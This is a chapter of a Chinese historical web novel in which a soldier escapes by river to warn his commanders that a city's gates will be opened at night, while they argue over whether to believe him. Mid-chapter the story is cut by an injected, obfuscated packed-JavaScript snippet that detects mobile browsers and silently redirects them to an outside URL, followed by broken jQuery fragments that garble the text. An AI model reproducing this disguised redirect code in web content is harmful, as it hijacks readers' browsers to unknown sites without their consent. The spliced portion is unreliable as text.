49. 夜奔

作品:《夫人今天答应圆房了吗

    压迫感从四面八方袭来,五脏六腑似乎全被一只大手攥住!


    钱三飞不敢露头。


    身体忽轻忽重,脑子沉重得仿佛早就不属于他。


    四肢百骸都是河底的凉意。


    他甚至怀疑如果他此时往脖子上方摸去,会毫不意外地什么都摸不到。


    水流声不断冲击着耳膜,胸腔几乎要炸了。


    钱三飞猛地窜出水面。


    头顶仍是一片深浓的黑暗。


    钱三飞环顾四周,四周全是比人还高的芦苇。


    该死的,在这鸟不拉屎的地方,根本连方向都辨不清!


    四肢几乎麻痹,钱三飞下意识摸向胸口,却什么都没有摸到。


    他整个人一懵,仿佛被当头暴击。


    河水不断涌上来,钱三飞着急地摸着全身每一处夹层。


    “咳咳——”


    河水无孔不入,鼻子嘴巴耳朵仿佛都被统统塞满!


    “咳!”他猛地抓住岸边的一根芦苇,微微张开麻木的手。


    窸窣的风声仿佛从很远的地方传来,浮云被吹散,皎洁的月光忽然映亮了他手中的乌木簪。


    他一个人微言轻的新兵,仅凭他一面之词,只怕就算陶广信,谢越也不会信的!


    搞不好还会以为是他们为了掩盖自己逃兵的罪行编出来的一套说辞!


    可现在舒岩和他老师的命就握在他手中,如果他不能按时送回消息,或者说他无法让谢越信服——舒岩他们就死定了!


    不仅他们会死,听到风吹草动的野利迷也会立刻加强戒备,后面的仗就更难打了!


    他回头一望,襄樊城的影子在黑暗中模模糊糊,仿佛一头随时张开巨口的猛兽。


    事到如今,只能赌一次了!


    终于摸到了袖中夹层内的硬物,钱三飞坚定下来,他相信石头。


    一抹脸,他扭头钻进芦苇荡。


    没有时间了,再有一个时辰天就要亮了!


    ***


    暮霭沉去,夕阳如血。


    被烈日炙烤了一天的大地滚烫得吓人。


    钱三飞一头栽倒在地。


    眼前阵阵发黑,他艰难地从地上抬起头。


    水声从前面传来,桃叶渡,前面就是桃叶渡了!


    他匍匐在地,连四肢都感觉不到了,只剩下意志力还在勉强地从地上爬起来。


    钱三飞摇摇晃晃又向前走了几步,残阳将江水染得一片鲜红,不断东流而去。


    而江水前一片空荡,什么都没有!


    江面平稳空旷,周遭更是安静得连一声鸟叫都没有。


    钱三飞懵了。


    他们出发时的营地,如今空空如也!


    四周了无人迹,干净得仿佛根本没有人来过。


    钱三飞茫然地环顾四周,这世界安静得可怕。


    浑身的血液仿佛都被凝固了。


    是他找错了地方……不,不可能!


    他猛地扑上前,拔着平整的草地反复查看。


    前天,他们的营帐就扎在这里的!


    可现在什么都没有……


    一路上,他想过无数种可能,陶广可能会怀疑他,他可能见不到谢越,他可能来不及在日落前赶回……


    唯独……


    怎么办,怎么办,如果他不能带援军回去,舒岩他,他会死的!


    他那个斯斯文文的老师也会……


    “钱三飞!”


    前方的草丛中忽然传来一声呼喊!


    钱三飞迟钝地抬头,只见一个不知从哪里冒出的人影,迅速向他扑来。


    “你怎么搞成这样!”对方焦急地抓住他的肩膀,“石头呢?你怎么一个人回来了!你们到底——”


    面前的人脸终于渐渐清晰!


    如同抓住最后一根救命稻草,钱三飞急声道:“……老郑?”


    可惜发出的声音嘶哑难辨,根本听不清是什么。


    他着急地想再说点什么,就又听到一个声音道:“他这是液脱之症。扶他到树下,给他喂点水。”


    离他最近的人立刻应了一声,把他架起来拖到树下。


    清凉的水滋润过干裂的嘴唇,微凉的树荫又把他的灵魂带回了人间。


    视野中的黑斑微微淡了些,叫他终于看清面前的人——就是郑颐!


    “石头还在襄樊,他让我来送信,今晚戌时,他会带人打开襄樊的城门!”


    一咕噜地把话全都倒完,才发现对方满脸迷蒙,钱三飞又急又气,“你听到没有啊,我们这是在哪儿啊?将军在哪儿呢?现在是不是酉时了!没时间了!”


    原本按照他们的计划不会这么赶的!


    天杀的他们留在襄樊十里之外的马竟然没了!


    “你再说一遍,”先前那个声音又冒出来,“谁在襄樊?带人?什么人?怎么开城门?”


    钱三飞这才认出来,此人不是别人,正是蓝仪!


    “蓝指挥!是舒岩,他在襄樊,他在襄樊见到了他的老师,他的老师是野利迷的幕僚,他的老师说今晚戌时会想办法打开城门!”


    他急得去薅蓝仪的胳膊,“您可以怀疑我,但事关重大,一定要上报给将军,让他老人家来决断!”


    “上报给将军,然后让我们一起吃挂落吗!”又一个声音道。


    那是站在蓝仪身后的一个小兵,是他的亲信赵明。


    “可我说的是真的!指挥,我没必要骗您啊!”


    蓝仪始终审慎地打量着他,锐利的目光不放过他任何一个表情。


    “你们是在城门口突然看见了这个老师,才贸然脱离队伍?”


    钱三飞忙不迭地点头,“当时事出紧急,实在没有时间解释,我们——我们不是有意的,但我刚才说的都是真的,现在距离戌时已经不到一个时辰了,指挥,你行行好,派人去给将军报个信吧!”


    “那个舒岩的履历我看过,他只是一个荆州来的农户之子,怎么会跟对面的幕僚扯上关系?”


    ——还是有能力打开城门的那种幕僚!


    “就是,”赵明道,“一个个小小的新兵也能和对面的军师攀上关系?不会是对面派来的奸细吧!”


    “他不是——”


    “他是魏先生的远方亲戚,”郑颐接口道,“新兵训练的时候,魏先生亲自来营地给他送过药。


    “他虽然自称是农户之子,可是平日言谈却颇为文雅,一看便是出自读书的人家,”郑颐冷静道,“如今兵荒马乱,多少北边逃来的都落难了。这世道,像他这样的,指挥也见过不少吧。”


    “襄樊与大周断隔至少已有三年之久,”蓝仪凝眉,“对方既然能打开城门想来也是身居高位,怎么可能这么轻松就松口——就算我相信你,但只怕对方是将你和你的兄弟都骗了!”


    赵明接道:“诱敌之计!”


    蓝仪点头。


    “到时候我们死不足惜,难道要几万大军都跟着我们一起送命吗?!”


    “可如果是真的,我们不仅今夜就能拿下襄樊,更不知能少死多少弟兄。”钱三飞吼道。


    “这是你跟上峰说话的态度吗!”赵明一把抽出佩剑架在钱三飞脖子上。


    郑颐立刻抬起手中佩剑挡住他的动作。


    “指挥,”郑颐冷声道,“不管是真是假,都牵扯到无数人的生死,这决断不该由我们来做。”


    他郑颐眼底一片平静,面庞却僵硬地仿佛一架蓄势待发的弓弩。


    仿佛他不答应,他也不建议真的以下犯上!


    一时间,气氛登时剑拔弩张。


    “指挥,”郑颐冷冷道,“让将军来决断吧!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152499|192742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钱三飞掐紧了袖中隐藏的乌木簪。


    ***


    暮霭散去,辛劳了一天的人们各自回家。


    繁华的街道即将归于宁静。


    这一天平凡得好似跟过去的每一天都没什么区别。


    大家各自笑着挥手,然后掩门回家。


    纾延跟在邹钰身后,看他慢悠悠地沿着河岸走,手中捻着那串佛珠。


    那佛珠一共有三十三颗,既不是什么名贵的檀香木,也不是什么珍惜的翡翠玉石,就只是再普通不过的石子。


    仿佛这乱世中的每一个人。


    须弥芥子。


    “叔叔是从什么时候开始信佛的?”


    “不信,我从不信神佛。”


    他看了眼手中的佛珠,“这只是一个习惯。”


    他不再多言,纾延也不再追问。


    两个人便这样一前一后沿着河岸缓缓向前走去。


    现在已经是酉时二刻,如果没有意外,谢越应该已经得到他们的消息了。


    这是一场豪赌。


    赌钱三飞能顺利送回消息,能见到谢越,谢越的人能及时赶来。


    如果赌输了,今夜他们都将万劫不复。


    这一仗也只会更难打。


    逐渐散去的天光仿佛他们生命的倒计时。


    “没想到都快八月了,这儿的荷花才刚开呢。”纾延紧走两步跟上他。


    邹钰顺着她的目光看向河面上初开的荷盏,“嗯,已经三年没开了。”


    “三年没开,我还以为围观的人会多一点呢。”


    “刚刚长出的花苞,还没来得及被人看到。”邹钰道,“等明天天亮,就能有人看到了。”


    他负手而立,影子正好遮住站在他身后的纾延。


    “纾延,”他背对她而立,“你和景远是我最得意的两个学生。对他——我从无忧虑。对你,却有深深的惋惜,怕你毕其一生都无法施展自己的才华,如今……”


    他似乎笑了一下。


    纾延心中一恸。


    “去做你想做的事吧。”他的声音温柔而亲切,一如当年。


    在薄暮照不到的地方,纾延接过他从袖下递来的信物。


    那是一个洗的发白的香囊。


    眼底微微发涩,纾延低下头。


    “老师,保重。”


    ***


    夕阳已经沉到天际。


    蓝仪匆匆下马,提溜着钱三飞大步向前走去。


    巡逻的兵士不断从眼前走过。


    “头儿,你真想好了?”赵明小跑着从后面跟上来。


    “这要是让上面知道咱们手下跑了两个人,”他越说越急,“治咱们个治军不严还算轻的,要是判个通敌——”


    “行了,我自有决断。”蓝仪言简意赅。


    赵明只能闭嘴。


    昨天黄昏舒岩和钱三飞未归,他与陶广商议,未防对方带敌偷袭,稳妥起见,还是连夜转移。


    可郑颐却坚持他们未归一定有重大原因,绝不会是投敌叛国。


    为了这一点可能性,蓝仪带着他和自己的亲信在桃叶渡留守了一天一夜。


    钱三飞的话真假难辨,但郑颐有一句话是对的,这种事,不论真假,都不该由他来断!


    真假都关系着数万人的生命,这么重的责任,还轮不到他来担!


    但以他的职级,也无法直接见到谢越!


    如今,只能先向褚卫汇报!


    “蓝哥,你来的真是不巧,”守帐的小兵挠挠头,“副将他刚被叫去大帐了。”


    “什么时候回来?”


    “这……不好说。”


    蓝仪登时一个头两个大,冷汗瞬间湿透了后背。


    若舒岩是奸细便罢了,若他所说是真,误了军机,他怎么有脸去见死去的弟兄们!